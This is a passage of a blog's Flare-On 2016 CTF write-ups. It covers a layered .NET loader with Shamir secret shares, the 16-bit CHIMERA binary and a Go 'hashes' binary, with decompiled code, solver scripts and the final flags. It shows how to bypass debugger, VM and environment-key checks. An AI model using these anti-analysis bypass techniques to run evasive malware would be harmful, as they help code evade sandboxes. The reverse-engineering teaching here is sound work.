    Config config2 = Config.InitConfig(config);
    if (config2 == null)
    {
        return false;
    }
    if (!CPUDetection.CheckCPUCount(config2.CPUCount))
    {
        return false;
    }
    if (config2.DebugDetection && Layer1.IsDebuggerPresent())
    {
        return false;
    }
    bool result;
    try
    {
        string key = Layer1.getKey();
        byte[] bytesToBeDecrypted = util.ReadResource(<Module>.smethod_2<string>(2155271801u));
        byte[] buffer = util.AES_Decrypt(bytesToBeDecrypted, Encoding.UTF8.GetBytes(key));
        byte[] rawAssembly = util.DecompressBuffer(buffer);
        Assembly assembly = Assembly.Load(rawAssembly);
        Type type = assembly.GetType(<Module>.smethod_4<string>(1983674467u));
        MethodInfo method = type.GetMethod(<Module>.smethod_2<string>(1619868913u));
        result = (bool)method.Invoke(null, new object[]
        {
            <Module>.smethod_2<string>(2894386820u)
        });
    }
    catch (Exception)
    {
        result = false;
    }
    return result;
}

Notice the contents of the local variable config, which contains the 2nd share:
  • Share:2-f81ae6f5710cb1340f90cd80d9c33107a1469615bf299e6057dea7f4337f67a3

The first part of Layer1's Start() function checks the CPU Count and if a debugger is present, both of which succeed on my machine; if not, just alter the result and make them pass.

It then runs the Layer1.getKey() function (line 19) which enumerates the subdirectories the binary is running from, computes the base64 of their MD5 hashes and checks if one of them matches UtYSc3XYLz4wCCfrR5ssZQ==. This translates to the word share. Create the required folder or modify one of the existing ones in dnSpy and continue execution. As in the previous layer, another dll is loaded into memory and the Start() function of this dll is called.

Welcome to Layer2.dll! The Start() function in layer2 looks more elaborate but in essence it is very similar to layer1:

public static bool Start(string config)
{
    if (Layer2.IsVideoCardFromEmulator())
    {
        return false;
    }
    bool result;
    try
    {
        string key = Layer2.getKey();
        byte[] bytesToBeDecrypted = util.ReadResource(<Module>.smethod_5<string>(3753327011u));
        MethodInfo method;
        object[] array;
        while (true)
        {
            IL_114:
            uint arg_E7_0 = 940752502u;
            while (true)
            {
                uint num;
                switch ((num = (arg_E7_0 ^ 1520223704u)) % 8u)
                {
                case 0u:
                    goto IL_114;
                case 1u:
                {
                    Assembly assembly;
                    Type type = assembly.GetType(<Module>.smethod_2<string>(4061409225u));
                    arg_E7_0 = (num * 4242975297u ^ 1282056291u);
                    continue;
                }
                case 2u:
                {
                    Type type;
                    method = type.GetMethod(<Module>.smethod_4<string>(2617334851u));
                    array = new object[1];
                    arg_E7_0 = (num * 1579163950u ^ 3648286203u);
                    continue;
                }
                case 3u:
                {
                    byte[] rawAssembly;
                    Assembly assembly = Assembly.Load(rawAssembly);
                    arg_E7_0 = (num * 1590382241u ^ 2941013770u);
                    continue;
                }
                case 4u:
                {
                    byte[] buffer;
                    byte[] rawAssembly = util.DecompressBuffer(buffer);
                    arg_E7_0 = (num * 92554542u ^ 2808918491u);
                    continue;
                }
                case 6u:
                {
                    byte[] buffer = util.AES_Decrypt(bytesToBeDecrypted, Encoding.UTF8.GetBytes(key));
                    arg_E7_0 = (num * 4054600647u ^ 1312138318u);
                    continue;
                }
                case 7u:
                    array[0] = <Module>.smethod_4<string>(927985914u);
                    arg_E7_0 = (num * 2757215955u ^ 2775083800u);
                    continue;
                }
                goto Block_3;
            }
        }
        Block_3:
        result = (bool)method.Invoke(null, array);
    }
    catch (Exception)
    {
        while (true)
        {
            IL_162:
            uint arg_136_0 = 1603173826u;
            while (true)
            {
                uint num;
                switch ((num = (arg_136_0 ^ 1520223704u)) % 3u)
                {
                case 0u:
                    goto IL_162;
                case 2u:
                    result = false;
                    arg_136_0 = (num * 1446448774u ^ 4267266598u);
                    continue;
                }
                goto Block_5;
            }
        }
        Block_5:;
    }
    return result;
}


The function Layer2.IsVideoCardFromEmulator() (line 3) uses the WMI query select * from win32_videocontroller to query our video card's make and fails if it matches one of the following: "virtual", "vmware", "parallel", "vm additions", "remotefx","generic","cirrus logic","standard vga","matrox". Change the result and move on.

The next interesting function is Layer2.getKey(); it enumerates all the keys under HKEY_CURRENT_USER, computes the base64 of their MD5 hashes and checks if one of them matches Xr4ilOzQ4PCOq3aQ0qbuaQ==. This translates to the word secret. Create the key or modify an existing one in dnSpy to bypass this check.

The rest of the Start() function (lines 11 - 70) is just a convoluted way to load the next dll using the same old function from the previous 2 layers.

Phew! We're in layer 3; this is getting old! I present you ... Layer3's Start() function:

public static bool Start(string config)
{
    bool result;
    try
    {
        string key = Layer3.getKey();
        while (true)
        {
            IL_135:
            uint arg_103_0 = 4289824873u;
            while (true)
            {
                uint num;
                switch ((num = (arg_103_0 ^ 3707440169u)) % 9u)
                {
                case 0u:
                    goto IL_135;
                case 1u:
                {
                    byte[] bytesToBeDecrypted;
                    byte[] bytes = util.AES_Decrypt(bytesToBeDecrypted, Encoding.UTF8.GetBytes(key));
                    arg_103_0 = (num * 661416811u ^ 2039414464u);
                    continue;
                }
                case 2u:
                {
                    byte[] bytesToBeDecrypted = util.ReadResource(<Module>.smethod_5<string>(2921636399u));
                    arg_103_0 = (num * 3538037274u ^ 2949823500u);
                    continue;
                }
                case 4u:
                {
                    byte[] bytes2;
                    File.WriteAllBytes(<Module>.smethod_6<string>(2663114732u), bytes2);
                    ProcessStartInfo processStartInfo = new ProcessStartInfo(<Module>.smethod_9<string>(1143424475u));
                    arg_103_0 = (num * 1327553900u ^ 1386100579u);
                    continue;
                }
                case 5u:
                {
                    byte[] bytes;
                    File.WriteAllBytes(<Module>.smethod_6<string>(2505810066u), bytes);
                    arg_103_0 = (num * 3787366363u ^ 40351029u);
                    continue;
                }
                case 6u:
                {
                    ProcessStartInfo processStartInfo;
                    Process.Start(processStartInfo);
                    arg_103_0 = (num * 284573691u ^ 2598046760u);
                    continue;
                }
                case 7u:
                {
                    ProcessStartInfo processStartInfo;
                    processStartInfo.Verb = <Module>.smethod_6<string>(3666361390u);
                    arg_103_0 = (num * 183203051u ^ 3338640763u);
                    continue;
                }
                case 8u:
                {
                    byte[] bytes2 = util.ReadResource(<Module>.smethod_8<string>(4245356310u));
                    arg_103_0 = (num * 748758343u ^ 2498904875u);
                    continue;
                }
                }
                goto Block_2;
            }
        }
        Block_2:
        return true;
    }
    catch (Exception)
    {
        result = false;
    }
    return result;
}



Once again we have a getKey() function which enumerates the users on the machine using the WMI query select * from Win32_UserAccount and, using the same MD5+Base64 method as in the previous layers, checks if the user shamir exists. Bypass it! You're probably an expert at doing this by now.

The rest of the function is a bit different than the previous ones. While stepping through from layer2 to layer3, you have probably realised that a new thread was being initialized and constructed, but never started. Line 49 is the point this happens. As soon as we step over this, the following image pops up:


Nice, we've got Share 6:

  • Share:6-a003fcf2955ced997c8741a6473d7e3f3540a8235b5bac16d3913a3892215f0a

If we continue tracing, the execution hits line 71, which returns true, and step by step it starts exiting each embedded function until we get all the way to the original PE. This time it hits the other MessageBox.Show() function and we get:


Is that it? What now? If we look at the folder where GUI.exe is, we notice a new binary called ssss-combine.exe. This binary is used to combine the shares we obtained to reveal a secret. Still, were are the other 3 shares?

At this point I thought I could either go through the program in a more thorough way, stepping into each and every function or, if the strings have been constructed at some point during the execution, they must reside in memory. And of course I went with the latter. So, memdump the process, run strings and grep:

root@kali: ~/Desktop
root@kali:~/Desktop# strings GUI.DMP | grep -i share: Share:1-d8effa9e8e19f7a2f17a3b55640b55295b1a327a5d8aebc832eae1a905c48b64 no/-|-\no/-|-\no/-|-\2/-|-\shareShare:2-f81ae6f5710cb1340f90cd80d9c33107a1469615bf299e6057dea7f4337f67a3 Share:3-523cb5c21996113beae6550ea06f5a71983efcac186e36b23c030c86363ad294 Share:4-04b58fbd216f71a31c9ff79b22f258831e3e12512c2ae7d8287c8fe64aed54cd Share:3-523cb5c21996113beae6550ea06f5a71983efcac186e36b23c030c86363ad294 Share:4-04b58fbd216f71a31c9ff79b22f258831e3e12512c2ae7d8287c8fe64aed54cd Share:5-5888733744329f95467930d20d701781f26b4c3605fe74eefa6ca152b450a5d3 root@kali:~/Desktop#


Combining all 6 shares we get:

Command Prompt
C:\>ssss-combine.exe -t 6 Shamir Secret Sharing Scheme - $Id$ Copyright 2005 B. Poettering, Win32 port by Alex.Popov@leggettwood.com Enter 6 shares separated by newlines: Share [1/6]: 1-d8effa9e8e19f7a2f17a3b55640b55295b1a327a5d8aebc832eae1a905c48b64 Share [2/6]: 2-f81ae6f5710cb1340f90cd80d9c33107a1469615bf299e6057dea7f4337f67a3 Share [3/6]: 3-523cb5c21996113beae6550ea06f5a71983efcac186e36b23c030c86363ad294 Share [4/6]: 4-04b58fbd216f71a31c9ff79b22f258831e3e12512c2ae7d8287c8fe64aed54cd Share [5/6]: 5-5888733744329f95467930d20d701781f26b4c3605fe74eefa6ca152b450a5d3 Share [6/6]: 6-a003fcf2955ced997c8741a6473d7e3f3540a8235b5bac16d3913a3892215f0a Resulting secret: Shamir_1s_C0nfused@flare-on.com C:\>

CTF Writeup - Flare-On 2016 - 08: CHIMERA


  • Name - CHIMERA
  • Category - Reverse Engineering
  • Points - 8
  • Description - n/a
  • Binary - Download here

This challenge was my personal favourite out of all 10 challenges. It's not particularly hard once you figure out what the trick is but the twist is what makes it interesting. Let's run the binary with some random input:


Command Prompt
C:\>CHIMERA.EXE This one's for the geezers. Enter the password> who_are_you_calling_a_geezer You have fail. Please try harder. C:\>



Opening the binary in IDA shows a very simple function which reminds me of beginner-level crackmes:


From the image above we can immediately deduce that our input has to be of length 0x1A; anything beyond that will not be considered. The function operates on each byte of our input individually, adding the value of the counter to it, XOR'ing it with 0x7A and compares it with a buffer. Let's implement the inverse of this function to get the expected input.


    import sys

    byte_4021D2 = ["0E","13","11","0C","5E","14","03","5D","06","0B",
                   "15","51","F9","05","07","07","0D","4B","F8","0E",
                   "FD","F2","F7","FC","F0","07"]

    for x in range(len(byte_4021D2)):
        operation_1 = int(byte_4021D2[x],16) ^ 0x7A
        operation_2 = operation_1 - x
        sys.stdout.write(chr(operation_2))

Inputting the output result,"this is the wrong password", we get:


Command Prompt
C:\>CHIMERA.EXE This one's for the geezers. Enter the password> this is the wrong password You have fail. Please try harder. C:\>


But why !!?? If we take a look at the image above again, there's a 2-line basic block with a compare: CMP [ebp+var_10], 0x9F5, which succeeds if we give it "this is the wrong password" and hence outputs the failure message. Can we get the binary to succeed on both computations, the byte-by-byte comparison and the final comparison? The answer is NO.

The twist is ........ there's another way of running the binary! The following are a few hints that indicate this:
  • The string "This program cannot not be run in DOS mode." (Notice the double negation)
  • The name of the binary, CHIMERA.EXE, is an 8.3 filename
  • IDA complains that the import segment is broken
  • The .text section is RWX

The binary is in fact a 16-bit packed executable. The only way I found to execute and debug this binary is to use the debug version of DOSBox. This can be downloaded from here. Run the installer to get the standard version of DOSBox and then place dosbox-74-debug.exe in the installation folder and run it. This should open 2 windows, the standard console and the debug window:



The following are a few DOSBox debugger shortcuts and commands that proved to be useful to navigate the cluttered interface:
  • F5 - Run
  • F10/F11 - step over / trace into
  • Up/Down - Move code view cursor
  • Page Up/Down - Scroll data view
  • Home/End - Scroll log messages
  • BP [segment]:[offset] - Set breakpoint
  • BPDEL * - Delete all breakpoints
  • Home/End - Scroll log messages
  • SR [reg] [value] - Set register value
  • C / D [segment]:[offset] - Set code / data view address

To start debugging CHIMERA.EXE mount the C drive with 'mount C C:\', navigate to the folder and run 'debug CHIMERA.EXE'. The execution now shifts to the debugger and we can start stepping into the binary. The first hurdle we get is the following:


    020E:07D7  mov  ax,2A00
    020E:07DA  int  21
    020E:07DC  sub  cx,07C6
    020E:07E0  jg   000008B0 ($+cc)        (down)


The instruction int 21 is an interrupt which performs actions depending on the contents of AH. A list of these can found here. The ASM above grabs the system date, puts the year in CX, subtracts 0x7C6 (1990) from it, and jumps if it's greater. As we don't want it to jump we can issue 'sr sf 1' to change the sign flag and not take the jump.

After the simple check, we get the following algorithm which operates on the input string in reverse order:


    020E:0802  mov  dl,97             ; Loads 0x97, this is the first input
    020E:0804  mov  ah,[075F]         ; AH = length of input string
    020E:0808  cmp  cl,ah             ; CL = Counter
    020E:080A  je   0000084E ($+42)   ; jmp if all bytes are processed
    020E:080C  jne  0000080F ($+1)    ; jmp if NOT all bytes are processed

    020E:080F  mov  al,ah
    020E:0811  dec  al
    020E:0813  sub  al,cl
    020E:0815  test cl,cl
    020E:0817  je   0000082D ($+14)   ; jmp if 1st iteration of loop
    020E:0819  je   0000081E ($+3)    ; 
    020E:081B  jne  0000081E ($+1)    ; jmp if NOT 1st iteration of loop

    020E:081E  mov  bx,0760
    020E:0821  movzx dx,sp
    020E:0824  add  bx,dx
    020E:0826  jne  00000829 ($+1)

    020E:0829  sub  bx,cx             
    020E:082B  mov  dl,[bx]          ; loads char from input
    020E:082D  rol  dl,03            ; rol3 on char
    020E:0830  movzx bx,dx
    020E:0833  je   00000838 ($+3)
    020E:0835  jne  00000838 ($+1)

    020E:0838  movzx bx,[bx+0461]    ; performs mapping from constant byte array
    020E:083D  mov  dl,[bx+0461]     ; performs another mapping from constant byte array
    020E:0841  movzx bx,ax
    020E:0844  xor  [bx+0760],dl     ; XOR result with next input char
    020E:0848  inc  cx
    020E:0849  jne  0000084C ($+1)


    020E:084C  jmp  short 00000808 ($-46)  ; jumps to 020E:0808



The algorithm is pretty straight forward: loads 0x97, rotates it, translates it twice from a fixed buffer and 1) XOR's it with the next char; 2) stores it as input for the next rotation. In code this looks like this:


    translate_map = ["FF","15","74","20","40","00","89","EC","5D","C3","42","46",
                     "C0","63","86","2A","AB","08","BF","8C","4C","25","19","31",
                     
                     [ .. snip .. ]

                     "AE","CA","C4","77","0C","4E","D4","D0","C8","E1","B8","F9",
                     "26","90","81","34"]

    rol = lambda val, r_bits, max_bits: \
        (val << r_bits%max_bits) & (2**max_bits-1) | \
        ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))

 
    def rol_hex(hex_string):
        return rol(int(hex_string,16),3, 8)

    def double_translate(x):
        return translate_map[int(translate_map[x],16)]
 
    input = "01234567890123456789012345"

    input_list = [ord(x) for x in input]
    input_list.append(0x97)
    input_list.reverse()

    for x in range(1, len(input_list)):
        x_rol3 = rol(input_list[x-1], 3, 8)
        input_list[x] = int(double_translate(x_rol3),16) ^ input_list[x]
  
    input_list.reverse()
    print [hex(x) for x in input_list] 

The resultant byte array is then fed into a second, much simpler algorithm:


    020E:0854  mov  dl,C5            ; Loads 0xC6, this is the first input
    020E:0856  cmp  cl,ah            ; AH = length of previous buffer
    020E:0858  je   00000875 ($+1b)  ; never taken
    020E:085A  test cl,cl
    020E:085C  je   00000869 ($+b)   ; jmp if 1st iteration of loop
    020E:085E  jne  00000862 ($+2)   ; jmp if NOT 1st iteration of loop

    020E:0862  mov  bx,cx
    020E:0864  dec  bx
    020E:0865  mov  dl,[bx+0760]     ; loads char from input
    020E:0869  mov  bx,cx
    020E:086B  xor  [bx+0760],dl     ; XOR's it with next char from input
    020E:086F  inc  cx
    020E:0870  jne  00000873 ($+1)         ; always taken
    020E:0872  jmp  short 0000085F ($-15)  
    020E:0873  jmp  short 00000856 ($-1f)  ; jmp back to 020E:0856


This can be easily translated into the following code, which takes the result from the previous algorithm:


    input_list.insert(0, 0xC5)
    for x in range(1, len(input_list)):
        input_list[x] = input_list[x] ^ input_list[x-1]
 
    print [hex(x) for x in input_list[1:-1]]

The output then goes into a loop, consisting of 0x1A rounds, which compares each byte to a fixed buffer. At this point we have the inner workings of both algorithms performed on the input and the expected final buffer. We can therefore invert the process to get the correct input:


    end_buffer = ["38","E1","4A","1B","0C","1A","46","46","0A","96","29","73","73",
                  "A4","69","03","00","1B","A8","F8","B8","24","16","D6","09","CB",
                  "B9","70","00","89","CB","4B"]


    translate_map = ["FF","15","74","20","40","00","89","EC","5D","C3","42","46",
                     "C0","63","86","2A","AB","08","BF","8C","4C","25","19","31",
                     
                     [ .. snip .. ]

                     "AE","CA","C4","77","0C","4E","D4","D0","C8","E1","B8","F9",
                     "26","90","81","34"]

    rol = lambda val, r_bits, max_bits: \
        (val << r_bits%max_bits) & (2**max_bits-1) | \
        ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
 
    def rol_hex(hex_string):
        return rol(int(hex_string,16),3, 8)
 
 
    def double_translate(x):
        return translate_map[int(translate_map[x],16)]

 
    end_buffer_int = [int(x,16) for x in end_buffer]
    end_buffer_int.insert(0, 0xC5)
    end_buffer_int.reverse()

    for x in range(len(end_buffer_int) - 1 ):
        end_buffer_int[x] = end_buffer_int[x] ^ end_buffer_int[x+1]
 
    end_buffer_int.reverse()

    #remove 0xC5
    end_buffer_int = end_buffer_int[1:]

    end_buffer_int.append(0x97)

    for x in range(0, len(end_buffer_int)-1):
        x_rol3 = rol(end_buffer_int[x+1], 3, 8)
        end_buffer_int[x] = int(double_translate(x_rol3),16) ^ end_buffer_int[x]
 
    print ''.join([chr(x) for x in end_buffer_int])


Testing the result:


DOSBox 0.74, Cpu speed: 3000 cylces, Frameskip 0, Program: DOSBOX
C:\>debug CHIMERA.EXE This program cannot not be run in DOS mode. This one's for the geezers. Enter the password> retr0_hack1ng@flare-on.com You have succeed. C:\>

CTF Writeup - Flare-On 2016 - 07: hashes


  • Name - hashes
  • Category - Reverse Engineering
  • Points - 7
  • Description - n/a
  • Binary - Download here


Running the linux binary with a random parameter and without any parameter we get:

root@kali: ~/Desktop
root@kali:~/Desktop# ./hashes panic: runtime error: index out of range goroutine 16 [running]: goroutine 18 [finalizer wait]: created by runtime_createfing ../../../src/libgo/runtime/mgc0.c:2572 root@kali:~/Desktop# ./hashes 123 Work on your Hash F00! root@kali:~/Desktop#


From this we can straight away tell that the binary has been written using the Go programming language. Running strings also reveals various Go-related functions. The version required for this challenge can be installed by running apt-get install libgo7.

With everything set up, let's start debugging it with IDA. I found it a bit challenging to follow the control flow of the Go binary; sometimes it seems to jump randomly from one place and ends up in a completely different place. Not sure if I should blame my lack of knowledge regarding the Go language, IDA for not handling the binary well or the use of channels, whatever they are, in the Go programming language. If anyone has the answer to why this happens please give me a shout.

Anyways, the main function is called main_main. The first checks on our input string we encounter are in the following location:


The green arrow coming out of the bottom of the image goes to the basic block containing 'Work on your Hash F00!', so we need to avoid it. The compare statement at the top is done against the length of our input and 0x1E; so now we have the correct length of the input. The function sub_8049F6D is then called with parameters: length of input string and the input string itself. Let's look closer at what this does:


The green box at the bottom sets EAX to 1 before the program exists, whilst the red box sets EAX to 0. From the previous image we know that we need EAX to be 1 and hence we have to make sure execution passes via the green box. The function iterates over each character of our input and checks if it is contained (_strings_ContainsAny) in abcdefghijklmnopqrstuvwxyz@-._1234. If not we end up in the red box.

So up to now we know that the string has to be 30 characters in length and has to be made up of only the following characters: abcdefghijklmnopqrstuvwxyz@-._1234.

The program then does the following:
  1. Divides the length of the input string (i.e. 30) by 6, which gives us 5
  2. Slices the input string in 5 equal substrings
  3. Performs SHA1 trice on each of the substrings
  4. Appends the results

The last 3 operations, which are looped over 5 times, can be seen here:


The next part of the binary does the validation checking on the result. The routine is simple but debugging it was a nightmare as IDA kept jumping from one function to another. The algorithm does the following steps:
  1. Takes the first char of the concatenated, SHA1 string computed above; let's call this Z
  2. Adds 0x1CD to it; X = Z + 0x1CD; GOTO 4
  3. Adds 0x1CD to itself; X += 0x1CD;
  4. Obtains a byte from a fixed array: Y = unk_804BB80[ X % 4096 ]
  5. Compares Y with Z
  6. Now Z takes the value of the next char of the SHA1 string; GOTO 3

Note that only the first character of the resultant SHA1 string is used as a seed. As the resultant SHA1 string depends on out input, and the comparison string derived from the fixed array depends on the first character of the SHA1 string, and hence our input too, we can't simply first compute the latter and then bruteforce to obtain the former.

Combining all the information we have we can whip up a small program that gives us the first 6 characters of the input string. The decision to do this for only the first 6 chars will become apparent later. So let's start:


    import hashlib
    import itertools

    unk_804BB80 = ['03','72','D7','E5','03','AB','E0','D4','9F',

                    [ .. snip .. ]

                   'EE','46','2B','EE','2C','15','21','42','52',
                   '51','6B','7E','69','4D','28','DC','6C','8B']

    def sha1(input):
        m = hashlib.sha1()
        m.update(input)
        return m.digest()
 
    def triplesha1(input):
        for x in range(3):
            input = sha1(input)
        return input

    allowed_chars = "abcdefghijklmnopqrstuvwxyz@-._1234"

    add_const = "0x1CD"    
 
    for string in itertools.imap(''.join, itertools.product(allowed_chars, repeat=6)):
        found = 0
        temp_triple_sha = triplesha1(string).encode("hex").upper()
        a = int(temp_triple_sha[0:2],16)
        for x in range(20):
            a = a + int(add_const,16)
            translation =  unk_804BB80[a % 4096]
            if translation != temp_triple_sha[x*2:x*2+2]:
                break 
            found = found + 1
        if found == 20:
            print string
            break


After a while we get back h4sh3d. Perfect, we've got the first 6 characters out of 30. Now we could either continue this way and solve the others sequentially (this is because computations depend on the previous result, because of the seed) using the same program or, since we now know what the seed is, which is the first char of sha1(sha1(sha1('h4sh3d'))), we can obtain all 5 hashes directly from the fixed array. Let's go with the latter:


    import hashlib
    import itertools

    unk_804BB80 = ['03','72','D7','E5','03','AB','E0','D4','9F',

                    [ .. snip .. ]

                   'EE','46','2B','EE','2C','15','21','42','52',
                   '51','6B','7E','69','4D','28','DC','6C','8B']

    add_const = "0x1CD"    

    a = 60 #first byte of SHA1(SHA1(SHA1('h4sh3d')))

    for x in range(100):
        a = a + int(add_const,16)
        print unk_804BB80[a % 4096],
        if (x+1) % 20 == 0:
            print '\r\n'


Running the program we get all 5 hashes:

root@kali: ~/Desktop
root@kali:~/Desktop# python hash_finder.py 3C AB 24 65 E9 55 B7 8E 1D C8 4A B2 AA D1 77 36 41 EF 6C 29 4A 1B F8 BD 1E 91 F3 59 3A 6C CC 9C C9 B2 D5 68 2E 62 24 4F 9E 60 61 A3 62 50 E1 C4 7E 69 F0 31 2D B4 E5 61 52 8A 1F B5 06 04 6B 72 1E 18 E2 0B 84 1F 49 7E 25 77 53 B2 31 4B 86 6C CC 72 08 42 D0 88 4D A0 8E 26 D9 FC CB 24 BC 9C 27 BD 25 4E root@kali:~/Desktop#


Double check that the first one is indeed the triple SHA1 of h4sh3d. So now we can bruteforce them at the same time. As we know that the flag ends with @flare-on.com we can also omit the last 2 hashes. The following program bruteforces the 2nd hash in the list:


    import hashlib
    import itertools

    def sha1(input):
        m = hashlib.sha1()
        m.update(input)
        return m.digest()
 
    def triplesha1(input):
        for x in range(3):
            input = sha1(input)
        return input

    allowed_chars = "abcdefghijklmnopqrstuvwxyz@-._1234"

    answer = "4A1BF8BD1E91F3593A6CCC9CC9B2D5682E62244F"
 
    for string in itertools.imap(''.join, itertools.product(allowed_chars, repeat=6)):
        temp_triple_sha = triplesha1(string).encode("hex").upper()
        if temp_triple_sha == answer:
            print string
            break



After running the program for the third hash we get the key: h4sh3d_th3_h4sh3s@flare-on.com


Edit 1: As pointed to me by @winnythomas, there's a shortcut way of cracking this. As we know that the key ends with @flare-on.com we effectively know what the last hash is and hence we can work our way backwards to deduce all the other hashes. This allows us to jump straight to the 3rd script presented above, skipping the first two.